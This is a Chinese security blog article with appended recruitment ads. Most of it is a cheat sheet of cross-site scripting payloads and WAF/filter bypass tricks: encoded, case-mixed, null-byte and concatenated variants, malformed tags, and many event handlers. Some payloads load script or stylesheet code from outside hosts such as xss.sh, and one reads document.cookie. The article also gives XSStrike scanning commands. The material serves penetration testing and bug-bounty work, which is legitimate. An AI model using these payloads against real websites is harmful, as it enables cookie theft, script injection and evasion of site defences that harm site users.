XSS应该怎么玩
2023-2-27 00:0:36 Author: 白帽子(查看原文) 阅读量:77 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

NO.1 前言

XSS(跨站脚本攻击)无论是在平时的测试中还是SRC挖掘中,都是十分的常见,可以说“XSS使整个WEB体系变得具有灵性”而市面对于xss的防护多采用黑名单或基于正则表达式的方式过滤检测。而基于这些的防护终究会有所遗漏,不足。绕过的姿势也依旧与时俱进,在此根据自身经验及网上大佬的文章做一篇较全面的绕过的总结。

NO.2 XSS标签

a标签

需用户点击触发,我自身常用的便是a标签,携带钓鱼网址的测试payload,更具危害性。
测试payload:

<a href=”# 钓鱼url” onerror=alert(/xss/)>click here# /诱使人点击的话术/</a>

或通过JS伪协议触发:

<a href=”javscript:confirm(‘a’)”>click here\</a>

img标签+onclick、onerror、onload

onlick点击触发、onerror当src加载不出来时触发、onload当src加载完后触发
测试payload:

  <img src=”# ” onclick=”javascript:alert(/xss/)”>  < img src=”# ” onerror=”javascript:alert(/xss/)”>  <img src=”# ” onload=”javascript:alert(/xss/)”>

以及特殊的img标签:

 <img Dynsrc=”javascript:alert(‘XSS’)”> <img lowsrc=”javascript:alert(‘XSS’)”>

video标签+ onclick、onerror、onload

测试payload:

  <video src=”# ” onclick=”javascript:alert(/xss/)”>  <video src=”# ” onerror=”javascript:alert(/xss/)”>  <video src=”# ” onload=”javascript:alert(/xss/)”>

audio标签+ onclick、onerror、onload

测试payload:

  <audio src=”# ” onclick=”javascript:alert(/xss/)”>  <audio src=”# ” onerror=”javascript:alert(/xss/)”>  <audio src=”# ” onload=”javascript:alert(/xss/)”>

iframe标签

写入后网页加载执行执行
测试payload:

<iframe src=”javascript:alert(/xss/)” width=”0” height=”0/></iframe>

事件触发标签

 <form action= “javascript:alert(/xss/)”>              //点击事件触发 <input type=”submit” formaction=”javascript:alert(/xss/)”>     //点击事件触发 <input type=”image” formaction=”javascript:alert(/xss/)”>     //点击事件触发 <input type=”text” onchange=”javascript:alert(‘xss’)”>       //改变内容时触发 <a onmouseover=”javascript:alert(/xss/)”>here</a>   //移动鼠标指here处触发 <svg onload=”javascript:alert(/xss/)”></svg> <body onload=”javascript:alert(/xss/)”></body> <select autofocus onfocus=”javascript:alert(/xss/)”></select> <textarea autofocus onfocus=”javascript:alert(/xss/)”></textarea> <keygen autofocus onfocus=”javascript:alert(/xss/)”></keygen> <audio><source onerror=”javascript:alert(/xss/)”></audio>

//部分事件标签需要对应事件发生才可触发,autofocus可以自动触发。并且在测试payload中如果涉及到单引号’’被检测过滤的时候,可以尝试使用反单引号``。如上’xss’可以用xss来代替。

Frame标签

<framset><frame src="javascript:alert('XSS');"></frameset>

Table标签

<table background="javascript:alert('XSS')">

TD标签

<table><td background="javascript:alert('XSS')">

Object标签

<object type="text/x-scriptlet" data="http://127.0.0.1/scriptlet.html"></object>

NO.3 绕过姿势

老生长谈,针对于突破一些waf过滤规则,需要不断的输入探测,比对输出结果,从而推测其过滤规则,一般情况下可以输入”、’、# 、on、img、src、<、>、script等特殊字符,然后查看输出点,是否可正常输出,当然也得观察被实体编码了,个人建议通过右击查看源代码进行定位。在这里推荐一个工具xsstrike。

XSStrike-检测工具

XSStrike是一款检测Cross Site Scripting的高级检测工具,具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。且误报率极低。
项目地址:https://github.com/s0md3v/XSStrike
使用方法:
1、测试GET方法页面:

python3 xsstrike.py -u http://anheng.com/test.php?param=test

2、POST方法测试:

python3 xsstrike.py -u http://anheng.com/test.php --data param=test

3、测试url路径:

python3 xsstrike.py -u http://anheng.com/test.php --path

4、对目标url进行爬虫并测试

python3 xsstrike.py -u http://anheng.com/test.php --crawl  //可指定爬虫深度,默认为2,可添加-l提升深度。

5、批量url测试

python3 xsstrike.py –seeds urls.txt

6、参数模糊测试,查找隐藏参数

python3 xsstrike.py -u http://anheng.com/test.php --params

7、XSS盲打

python3 xsstrike.py -u http://anheng.com/test.php --crawl --blind

8、测试filter和waf,可使用-d选项设置延迟时间

python3 xsstrike.py -u http://anheng.com/test.php --fuzzer

9、跳过DOM XSS扫描

python3 xsstrike.py -u http://anheng.com/test.php --skip-dom

花式绕过

1、字符编码

针对waf不拦截<、>、”,仅拦截一些危险标签时,例如script、onXXXX等,可尝试将关键的XSS语句转换base64
例如:

<iframe src=”data:text/html;base64, PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”></iframe>

除此外也可以尝试使用多种字符集,例如对部分或全部的payload进行编码例如alert(1)转换成:
16进制:61 6C 65 72 74 28 31 29
8进制:141 154 145 162 164 050 061 051
2进制:01100001 01101100 01100101 01110010 01110100 00101000 00110001 00101001
unicode编码:\u0061\u006c\u0065\u0072\u0074
HTML实体编码:

<IMG SRC=javascript:alert(&quot;XSS&quot;)>  

//必须有分号才可生效

2、百分号绕过

如果服务器会对传参进行url编码解码,可尝试将%进行url编码成%25绕过。
例如

script->%73%63%72%69%70%74->%2573%2563%2572%2569%2570%2574

3、双写或多写绕过

此方式需针对filter规则,,例如有的防护措施会将写入的危险标签进行删除清空,可尝试双写或者多写绕过。具体情况具体分析,例如:
应用程序可能会删掉第一个script标签:

<script><script>alert(1)</script>或<sc<script>ript>alert(1)</script>

或者双写多写尖括号等,需一步步去检测防护规则

4、特殊长度限制绕过

XSS防御方法有一种是输入长度限制,而在此情况下,需要进行元素审查,常看是否有多元素返回同页面。例如某一页面存在如下参数:

<input type="hidden" name="id" value="1"><input type="hidden" name="check" value="0"><input type="hidden" name="output " value="ok">

可以尝试将payload进行拆分,分块插入各个元素中进行长度限制绕过,利用/**/注释符拼接起来,如

<input type="hidden" name="id" value=""><script>/*"><input type="hidden" name="check" value="*/alert(/xss/)/*"><input type="hidden" name="output" value="*/</script>">

5、大小写绕过

标签大小写,属于很基础的变形绕过就不多讲了,直接上payload:

<ScRipT>alert(1)</sCriPt>

6、空字节绕过

即在xss payload任意处插入null字节尝试绕过,例如:

<%00script>alert(1)</scri%00pt><script>ale%00rt(1)</script>

7、移位绕过

可以通过插入tab,换行,回车或对其编码来绕过,例如:

<iframe src=javas  cript:alert(1)></iframe>   //Tab<iframe src=javascript:alert(1)></iframe>         //回车<iframe src=javascript:alert(1)></iframe>       //换行<iframe src=javas&#x09;cript:alert(1)></iframe> -> <iframe src=javas&#x9;cript:al&#x9;ert(1)></iframe>.<iframe src=javas&#x0A;cript:alert(1)></iframe><iframe src=javas&#x0D;cript:alert(1)></iframe>

8、反引号绕过

针对于单引号被限制的情况,例如:

< img src=x onerror=`alert(1)`>< img src=x onerror=&# 96alert(1)&# 96 >

9、js伪协议

<a href="javascript:alert(1)" >click here</a>       //a标签伪协议执行<a href="data:text/html;base64, base64之后的js代码">click here</a>   //data引用外域资源

10、0填充绕过

例如将

<iframe src=javascript:alert(1)>

进行编码处理后:

<iframe src=&# x6A&# x61&# x76&# x61&# x73&# x63&# x72&# x69&# x70&# x74&# x3A&# x61&# x6C&# x65&# x72&# x74&# x28&# x31&# x29>

在进行填充0处理:

<iframe src=&# x0006A&# x00061&# x00076&# x00061&# x00073&# x00063&# x00072&# x00069&# x00070&# x00074&# x0003A&# x00061&# x0006C&# x00065&# x00072&# x00074&# x00028&# x00031&# x00029>

同样也可以进行绕过

11、代码执行函数eval()绕过

当然若存在该执行函数,完全可以进行更危险的操作。故只是提一提
eval(string)参数为字符串,可以拼接关键字绕过检测:
payload:

<svg/onload=eval('ale'+'rt(1)')>

12、window和top绕过

针对常用的弹窗函数alert()、prompt()、confirm()被过滤的情况。
例如:

<img src=x onerror="window.alert(0)"></img><img src=x onerror="top.alert(0)"></img>

也可进行拼接绕过

<img src=x onerror="window['al'+'ert'](0)"></img><img src=x onerror="top['al'+'ert'](0)"></img><svg/onload=location='javas'+'cript:ale'+'rt(1)'><svg/onload=window.location='javas'+'cript:ale'+'rt(1)'><svg/onload=location.href='javas'+'cript:ale'+'rt(1)'><svg/onload=window.open('javas'+'cript:ale'+'rt(1)')><svg/onload=location='javas'.concat('cript:ale','rt(1)')>

13、左斜线替换

可以尝试用左斜线来代替空格进行XSS payload的变形
例如:

< img src=1 onerror=alert(1)>=》< img/src=1/onerror=alert(1) 

14、畸形A标签

可跳过href标签,在Chrome浏览器可验证,且浏览器能够自动帮忙补全缺失的引号
例如payload:可输入

<a onmouseover=alert(document.cookie)>click</a>

或者自行添加引号:

<a onmouseover=”alert(document.cookie)”>click</a>

15、畸形IMG标签

适用于所有浏览器,这个XSS攻击向量使用了不严格的渲染引擎来构造含有IMG标签并被引号包含的XSS攻击向量
Payload:

<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

16、SRC属性变换

使用默认为空的src属性:

< img src= onerror=alert(1)>

使用不含src属性的标签:

< img onerror=alert(1)>

17、不带分号的十进制HTML实体编码

这有利于绕过对“&# XX;”形式的XSS过滤,默认十进制和十六进制为&# 加2至3位数字,例如,&# 106;但实际最长可使用七位,结合前面的0填充,就产生以下payload:

<img  src=&# 0000106&# 0000097&# 0000118&# 0000097&# 0000115&# 0000099&# 0000114&# 0000105&# 0000112&# 0000116&# 0000058&# 0000097&# 0000108&# 0000101&# 0000114&# 0000116&# 0000040&# 0000039&# 0000088&# 0000083&# 0000083&# 0000039&# 0000041>

同样对例如$tmp_string =~s/.&# (\d+);./$1/;形式的过滤器有效,这种过滤器是错误的认为HTML字符实体编码需要用分号结尾

18、不带分号的十六进制HTML实体编码

此方式能有效绕过例如$tmp_string =~ s/.&# (\d+);./$1/;过滤器的方法。这种过滤器错误的认为# 号后会跟着数字
payload:

<img src=&# x6A&# x61&# x76&# x61&# x73&# x63&# x72&# x69&# x70&#x74&# x3A&# x61&# x6C&# x65&# x72&# x74&# x28&# x27&# x58&# x53&# x53&# x27&# x29>

19、利用非字母非数字字符

FireFox的HTML解析器认为HTML关键词后不能有非字母非数字字符,并且认为这是一个空白或在HTML标签后的无效符号。
例如payload:

<script/xss src=”http://xss.rocks/xss.js“></script>

基于上面的原理,可以使用模糊测试进行扩展。Gecko渲染引擎允许任何字符包括字母,数字或特殊字符(例如引号,尖括号等)存在于事件名称和等号之间,这会使得更加容易绕过跨站脚本过滤。注意这同样适用于下面看到的重音符:
Payload:

<body onload!# $%&()*~+-_.,:;[email protected][/|\]^`=alert(“XSS”)>

IE和Gecko渲染引擎有一点不同行为,在于是否在HTML标签和参数之间允许一个不含空格的斜杠。如果系统不允许空格的时候可使用如下的payload:

<script/src=” http://127.0.0.1/xss.js“></script>

20、无闭合的script标签

在Firefox和Netscape 8.1的Gecko渲染引擎下不是必须构造类似

”></script>”

的闭合xss payload,Firefox浏览器假定闭合HTML标签是安全的并且会添加闭合标记。例如payload:

<script src=http://xss.sh?< g >

21、script标签中的协议解析

这个payload在IE和Netscape的IE渲染模式下有效,如果添加了

</SCRIPT>

标记在Opera中也可以。这在输入空间有限的情况下是非常有用的,使用的域名越短越好。
例如:

 <script src=//xss.sh/.a>

22、多个左尖括号-浏览器特性

使用一个左尖括号替代右尖括号作为标签结尾的攻击向量会在不同浏览器的Gecko渲染引擎下有不同效果。没有左尖括号时,在Firefox中生效,而在Netscape中无效。
例如payload:

<iframe src=http://xss.sh/script.html <

23、只含左尖括号的Javascript-浏览器特性

IE渲染引擎不像Firefox,不会向页面中添加额外数据。但它允许在IMG标签中直接使用javascript。因此不需要闭合尖括号。但这样会让HTML页面变得混乱。在实际对抗XSS过滤器的时候,使用一个半开放的<iframe标签替代<img标签也是非常有效的。
例如:

<img src=” javascript:alert(1) ”

24、List-style-image

处理嵌入的图片列表是很麻烦的问题。由于JavaScript指令的原因只能在IE渲染引擎下有效。不是一个特别有用的跨站脚本攻击向量:

<style>li {list-style-image: url("javascript:alert('XSS')");}</style><ul><li>XSS</br>

25、图片中引用VBscript

例如:

<img src=’vbscript:msgbox(“XSS”)’>

26、事件触发类型

FSCommand()   //攻击者当需要在嵌入的Flash对象中执行时可以使用此事件
onAbort()   //当用户中止加载图片时
onActivate()    //当对象激活时
onAfterPrint()    //用户打印或进行打印预览后触发
onAfterUpdate()    //从数据源对象更新数据后由数据对象触发
onBeforeActivate()    //在对象设置为激活元素前触发
onBeforeCopy()    //攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行execCommand("Copy")函数触发
onBeforeCut()    //攻击者在选中部分剪切到剪贴板前执行攻击代码
onBeforeDeactivate()   //在当前对象的激活元素变化前触发
onBeforeEditFocus()    //在一个包含可编辑元素的对象进入激活状态时或一个可编辑的对象被选中时触发
onBeforePaste()    //在用户被诱导进行粘贴前或使用execCommand("Paste")函数触发
onBeforePrint()    //用户需要被诱导进行打印或攻击者可以使用print()或execCommand("Print")函数
onBeforeUnload()    //用户需要被诱导关闭浏览器-除非从父窗口执行,否则攻击者不能关闭当前窗口
onBeforeUpdate()    //从数据源对象更新数据前由数据对象触发
onBegin()    //当元素周期开始时由onbegin 事件立即触发
onBlur()    //另一个窗口弹出当前窗口失去焦点时触发
onBounce()    //当marquee对象的behavior属性设置为“alternate”且字幕的滚动内容到达窗口一边时触发
onCellChange()    //当数据提供者的数据变化时触发
onChange()    //select,text, 或TEXTAREA字段失去焦点并且值发生变化时触发
onClick()    //表单中点击触发
onContextMenu()    //用户需要在攻击区域点击右键
onControlSelect()    //当用户在一个对象上创建控件选中区时触发
onCopy()    //用户需要复制一些东西或使用execCommand("Copy")命令时触发
onCut()    //用户需要剪切一些东西或使用execCommand("Cut")命令时触发
onDataAvailable()    //用户需要修改元素中的数据,或者由攻击者提供的类似功能
onDataSetChanged()    //当数据源对象变更导致数据集发生变更时触发
onDataSetComplete()    //数据源对象中所有数据可用时触发
onDblClick()    //用户双击一个表单元素或链接
onDeactivate()    //在激活元素从当前对象转换到父文档中的另一个对象时触发
onDrag()    //在元素正在拖动时触发
onDragEnd()    //当用户完成元素的拖动时触发
onDragLeave()    //用户在拖动元素离开放置目标时触发
onDragEnter()    //用户将对象拖拽到合法拖曳目标
onDragOver()    //用户将对象拖拽划过合法拖曳目标
onDragDrop()    //用户将一个对象(例如文件)拖拽到浏览器窗口
onDragStart()    //当用户开始拖动元素时触发
onDrop()    //当拖动元素放置在目标区域时触发
onEnded()    //在视频/音频(audio/video)播放结束时触发
onError()    //在加载文档或图像时发生错误
onErrorUpdate()    //当从数据源对象更新相关数据遇到错误时在数据绑定对象上触发
onFilterChange()    //当滤镜完成状态变更时触发
onFinish()    //当marquee完成滚动时攻击者可以执行攻击
onFocus()    //当窗口获得焦点时攻击者可以执行攻击代码
onFocusIn() //当元素将要被设置为焦点之前触发
onFocusOut() //攻击者可以在窗口失去焦点时触发攻击代码
onHashChange() //当锚部分发生变化时触发攻击代码
onHelp() //攻击者可以在用户在当前窗体激活时按下F1触发攻击代码
onInput()   //在<input>或<textarea>元素的值发生改变时触发

onKeyDown()    //用户按下一个键的时候触发
onKeyPress()    //在键盘按键被按下并释放一个键时触发
onKeyUp()    //用户释放一个键时触发
onLayoutComplete()    //用户进行完打印或打印预览时触发
onLoad()    //攻击者在窗口加载后触发攻击代码
onLoseCapture()    //可以由releaseCapture()方法触发
onMediaComplete()    //当一个流媒体文件使用时,这个事件可以在文件播放前触发
onMediaError()    //当用户在浏览器中打开一个包含媒体文件的页面,出现问题时触发事件
onMessage()    //当页面收到一个信息时触发事件
onMouseDown()    //攻击者需要让用户点击一个图片触发事件
onMouseEnter()    //光标移动到一个对象或区域时触发
onMouseLeave()    //攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件
onMouseMove()    //攻击者需要让用户将光标移到一个图片或表格
onMouseOut()    //攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件
onMouseOver()    //光标移动到一个对象或区域
onMouseUp()    //攻击者需要让用户点击一个图片
onMouseWheel()    //攻击者需要让用户使用他们的鼠标滚轮
onMove()    //用户或攻击者移动页面时触发
onMoveEnd()    //用户或攻击者移动页面结束时触发
onMoveStart()    //用户或攻击者开始移动页面时触发
onOffline()    //当浏览器从在线模式切换到离线模式时触发
onOnline()    //当浏览器从离线模式切换到在线模式时触发
onOutOfSync()    //当元素与当前时间线失去同步时触发
onPaste()    //用户进行粘贴时或攻击者可以使用execCommand("Paste")函数时触发
onPause()    //在视频或音频暂停时触发
onPopState()    //在窗口的浏览历史(history 对象)发生改变时触发
onProgress()    //攻击者可以在一个FLASH加载时触发事件
onPropertyChange()    //用户或攻击者需要改变元素属性时触发
onReadyStateChange()    //每次 readyState 属性变化时被自动调用
onRedo()    //用户返回上一页面时触发
onRepeat()    //事件在播放完重复播放时触发
onReset()    //用户或攻击者重置表单时触发
onResize()    //用户改变窗口大小时,攻击者可以自动以这种方法触发:

<SCRIPT>self.resizeTo(500,400);</SCRIPT>

onResizeEnd()    //用户完成改变窗体大小时触发
onResizeStart()    //用户开始改变窗体大小时触发
onResume()    //当元素继续播放时触发
onReverse()    //当元素回放时触发
onRowsEnter()    //用户或攻击者需要改变数据源中的一行
onRowExit()    //用户或攻击者改变数据源中的一行后退出时触发
onRowDelete()    //用户或攻击者需要删除数据源中的一行
onRowInserted()    //用户或攻击者需要在一个数据源中插入一个向量
onScroll()    //用户需要滚动或攻击者使用scrollBy()函数
onSeek()    //当用户在元素上执行查找操作时触发
onSelect()    //用户需要选择一些文本-攻击者可以以此方式触发: window.document.execCommand("SelectAll");
onSelectionChange()    //当用户选择文本变化时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");
onSelectStart()    //当用户开始选择文本时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");
onStart()    //在marquee 对象开始循环时触发
onStop()    //当用户按下停止按钮或离开页面时触发
onStorage()    //当Web Storage更新时触发
onSyncRestored()    //当元素与它的时间线恢复同步时触发
onSubmit()    //需要用户或攻击者提交表单
onTimeError()    //用户或攻击者设置时间属性出现错误时触发
onTrackChange()    //用户或攻击者改变播放列表内歌曲时触发
onUndo()    //用户返回上一浏览记录页面时触发
onUnload()    //用户点击任意链接或按下后退按钮或攻击者强制进行点击时触发
onURLFlip()    //当一个高级流媒体格式(ASF)文件,由一个HTML+TIME(基于时间交互的多媒体扩展)媒体标签播放时,可触发在ASF文件中内嵌的攻击脚本
seekSegmentTime()    //这是一个方法可以定位元素某个时间段内中的特定的点,并可以从该点播放。这个段落包含了一个重复的时间线,并包括使用AUTOREVERSE属性进行反向播放。

27、&javascript包含

payload:

<br size="&{alert('XSS')}">

28、CSS样式表

 <link rel="stylesheet" href="http://xss.sh/xss.css">     

//仅受用在只在IE和使用IE渲染模式Netscape8.1+,且页面需有内容存在

<style>@import'http://xss.sh/xss.css';</style>   

//可受用google

<meta http-equiv="Link" Content="<http://xss.sh/xss.css>; rel=stylesheet">  

//仅受用于Opera 8.0(9.x不可以)

<style>body{-moz-binding:url("https://xss.sh/xss.xml# xss")}</style> 

//这仅能在Gecko渲染引擎下有效并且需要在父页面绑定一个XML文件

29、含分隔javascript的style标签

<style>@im\port'\ja\vasc\ript:alert("XSS")';</style>  

//会造成IE死循环

30、STYLE属性中使用注释分隔表达式

<img style="xss:expr/*XSS*/ession(alert('XSS'))">

31、本地htc文件

使用了一个必须和XSS攻击向量在相同服务器上的.htc文件。这个示例文件通过下载JavaScript并将其作为style属性的一部分运行来进行攻击:

<xss style="behavior: url(xss.htc);">

32、US-ASCII编码

US-ASCII编码(由Kurt Huwig发现)。它使用了畸形的7位ASCII编码来代替8位。这个XSS攻击向量可以绕过大多数内容过滤器,但是只在主机使用US-ASCII编码传输数据时有效,或者可以自己设置编码格式。相对绕过服务器端过滤,这在绕过WAF跨站脚本过滤时候更有效。Apache Tomcat是目前唯一已知使用US-ASCII编码传输的:
payload:

¼script¾alert(¢XSS¢)¼/script¾

33、META标签妙用

Payload1:

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

//关于meta刷新并不会在头部中发送一个referrer所以它通常用于不需要referrer的时候:
Payload2:

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

//URL scheme指令。这个非常有用因为它并不包含任何可见的SCRIPT单词或JavaScript指令,使用了base64
Payload3:

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

//如果目标站点尝试检查URL是否包含"http://",可以上述payload

NO.4 小结

XSS让我们在渗透中有无限的可能,可以说XSS使整个WEB体系变得具有灵性。而对于XSS绕过技巧肯定不止于上述的方法,所谓的绕过其实就是结合浏览器特性以及对filter过滤器的规则了解所产生的变形。这些就需要对特性的熟悉、标签、函数的熟用加上自身天马行动的方法。可以说xss的变形是无止境的。而在揣摩的过程中未尝不是一种乐趣呢?

附一个经典的XSS挑战靶场项目:
https://github.com/cure53/XSSChallengeWiki/wiki/Older-Challenges-and-Write-Ups

RECRUITMENT

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;

3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 

[email protected]

安全招聘

————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位:红队武器化Golang开发工程师

薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246540&idx=1&sn=2174437971906b54bb1f20e81ca1c5d1&chksm=82ea5625b59ddf3366ada801dcd19a4fa5c5b19db87669b9f7600e1a1ffc7ebd72987755793b#rd
如有侵权请联系:admin#unsafe.sh